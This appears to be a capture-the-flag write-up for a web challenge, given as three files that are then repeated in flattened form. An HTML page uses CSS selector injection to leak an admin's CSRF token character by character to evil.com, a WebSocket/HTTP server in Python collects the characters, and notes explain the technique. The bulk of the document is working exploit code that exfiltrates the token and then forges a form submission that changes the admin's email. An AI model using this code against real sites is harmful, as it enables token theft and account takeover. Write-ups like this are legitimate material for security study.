0xBADCA7/index.html

## index.html
<body>
<form action="http://css.teaser.insomnihack.ch/?page=profile" method="POST">
    // change admin's email
    <input type="text" name="email" value="wololo@coolmail.com">
    <input type="text" name="csrf" value="">
    <input type="text" name="change" value="Modify profile">
</form>
<iframe id="leakchar"></iframe>
<script>
const WS = "ws://evil.com:8000";
const HTTP = "http://evil.com:8008";

var s = new WebSocket(WS);
s.onopen = function(event) {
    console.log('connection open');
    next('');
}
s.onmessage = function(event) {
    let reader = new FileReader()
    reader.onload = function(){
        let token = this.result.match(/\?(\w+)/)[1];
        next(token);
    }
    reader.readAsText(event.data);
}
s.onclose = function(event) {
    console.log('bye');
}
function next(token) {
    if (token.length < 32)  {
        console.log('leaking ' + token + '* ...');
        let url = 'http://css.teaser.insomnihack.ch/?page=login&redirect="><link+rel=stylesheet+href="?page=search%26search={}' +
            [0,1,2,3,4,5,6,7,8,9,'a','b','c','d','e','f'].map(e => ('*[value^=' + token + e + ']{--:url(' + HTTP + '?' + token + e +')}')).join('') +
            'input[name=csrf]{background:var(--)}">';
        document.getElementById('leakchar').src = url;
    } else {
        console.log('done, lets pwn');
        changeEmail(token);
    }
}
function changeEmail(token) {
    document.forms[0].csrf.value = token;
    document.forms[0].submit();
}
</script>

## notes.txt
CSP policy disables JS and only allows 'self' styles. Fortunately, we have several reflection points.

We have a "contact" form that allows URLs starting by "css.teaser.insomnihack.ch", so we can set our DNS to make the admin visit our malicious page "index.html" (css.teaser.insomnihack.ch.foo.mysite.com).

Leaking tokens from CSS is not new, in fact, last year ended with a very similar challenge: https://l4w.io/2017/12/34c3-ctf-2017-urlstorage-writeup/

The main difficulty was that the token was refreshed at every request, hence, we need to leak it in once single admin's visit.

Fortunately (again), the site can be iframed, so from the parent (our malicious controlled page) we can load multiple iframes leaking each char of the token:

[ server.py ]      [ index.html ]
 ws server:        | parent:    |
     *   ----------|---> ws     | (refresh iframe and leak next char)
     ^             |  ________  |
     |             | |iframe  | |
 http server: <----|-|--leak  | |
                   |____________|

(artistic dramatization of the exploit)

With this we can leak the whole token in a ~3-5 seconds and exploit the CSRF.

After that we had to solve the second part of the challenge, but that is wonderfully explained here: http://gynvael.coldwind.pl/?lang=en&id=671 (we used the intented solution with .pht)

Thanks and congrats to 0daysober for the funny (and hard) tasks! :)

## server.py
from SimpleWebSocketServer import SimpleWebSocketServer, WebSocket
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
from threading import Thread
from SocketServer import ThreadingMixIn

PORT_HTTP = 8008
PORT_WS = 8000

class RequestHandler(BaseHTTPRequestHandler, WebSocket):

    def do_GET(self):
        """Respond to a GET request."""
        print "http GET request"
        self.send_response(200)
        self.end_headers()
        ws.sendMessage(self.path)
        return

class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
    """Handle requests in a separate thread."""

class SimpleEcho(WebSocket):

    def handleMessage(self):
        # echo message back to client
        print(self.address, 'new msg')
        #self.sendMessage(self.data)

    def handleConnected(self):
        print(self.address, 'connected, opening http server')
        global ws
        ws = self
        httpd = ThreadedHTTPServer(("", PORT_HTTP), RequestHandler)
        server_thread = Thread(target=httpd.serve_forever)
        server_thread.daemon = True
        server_thread.start()

    def handleClose(self):
        print(self.address, 'closed')

server = SimpleWebSocketServer('', PORT_WS, SimpleEcho)
server.serveforever()
	<body>
	<form action="http://css.teaser.insomnihack.ch/?page=profile" method="POST">
	// change admin's email
	<input type="text" name="email" value="wololo@coolmail.com">
	<input type="text" name="csrf" value="">
	<input type="text" name="change" value="Modify profile">
	</form>
	<iframe id="leakchar"></iframe>
	<script>
	const WS = "ws://evil.com:8000";
	const HTTP = "http://evil.com:8008";

	var s = new WebSocket(WS);
	s.onopen = function(event) {
	console.log('connection open');
	next('');
	}
	s.onmessage = function(event) {
	let reader = new FileReader()
	reader.onload = function(){
	let token = this.result.match(/\?(\w+)/)[1];
	next(token);
	}
	reader.readAsText(event.data);
	}
	s.onclose = function(event) {
	console.log('bye');
	}
	function next(token) {
	if (token.length < 32) {
	console.log('leaking ' + token + '* ...');
	let url = 'http://css.teaser.insomnihack.ch/?page=login&redirect="><link+rel=stylesheet+href="?page=search%26search={}' +
	[0,1,2,3,4,5,6,7,8,9,'a','b','c','d','e','f'].map(e => ('*[value^=' + token + e + ']{--:url(' + HTTP + '?' + token + e +')}')).join('') +
	'input[name=csrf]{background:var(--)}">';
	document.getElementById('leakchar').src = url;
	} else {
	console.log('done, lets pwn');
	changeEmail(token);
	}
	}
	function changeEmail(token) {
	document.forms[0].csrf.value = token;
	document.forms[0].submit();
	}
	</script>
	CSP policy disables JS and only allows 'self' styles. Fortunately, we have several reflection points.

	We have a "contact" form that allows URLs starting by "css.teaser.insomnihack.ch", so we can set our DNS to make the admin visit our malicious page "index.html" (css.teaser.insomnihack.ch.foo.mysite.com).

	Leaking tokens from CSS is not new, in fact, last year ended with a very similar challenge: https://l4w.io/2017/12/34c3-ctf-2017-urlstorage-writeup/

	The main difficulty was that the token was refreshed at every request, hence, we need to leak it in once single admin's visit.

	Fortunately (again), the site can be iframed, so from the parent (our malicious controlled page) we can load multiple iframes leaking each char of the token:

	[ server.py ] [ index.html ]
	ws server: \| parent: \|
	* ----------\|---> ws \| (refresh iframe and leak next char)
	^ \| ________ \|
	\| \| \|iframe \| \|
	http server: <----\|-\|--leak \| \|
	\|____________\|

	(artistic dramatization of the exploit)

	With this we can leak the whole token in a ~3-5 seconds and exploit the CSRF.

	After that we had to solve the second part of the challenge, but that is wonderfully explained here: http://gynvael.coldwind.pl/?lang=en&id=671 (we used the intented solution with .pht)

	Thanks and congrats to 0daysober for the funny (and hard) tasks! :)
	from SimpleWebSocketServer import SimpleWebSocketServer, WebSocket
	from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
	from threading import Thread
	from SocketServer import ThreadingMixIn

	PORT_HTTP = 8008
	PORT_WS = 8000

	class RequestHandler(BaseHTTPRequestHandler, WebSocket):

	def do_GET(self):
	"""Respond to a GET request."""
	print "http GET request"
	self.send_response(200)
	self.end_headers()
	ws.sendMessage(self.path)
	return

	class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
	"""Handle requests in a separate thread."""

	class SimpleEcho(WebSocket):

	def handleMessage(self):
	# echo message back to client
	print(self.address, 'new msg')
	#self.sendMessage(self.data)

	def handleConnected(self):
	print(self.address, 'connected, opening http server')
	global ws
	ws = self
	httpd = ThreadedHTTPServer(("", PORT_HTTP), RequestHandler)
	server_thread = Thread(target=httpd.serve_forever)
	server_thread.daemon = True
	server_thread.start()

	def handleClose(self):
	print(self.address, 'closed')

	server = SimpleWebSocketServer('', PORT_WS, SimpleEcho)
	server.serveforever()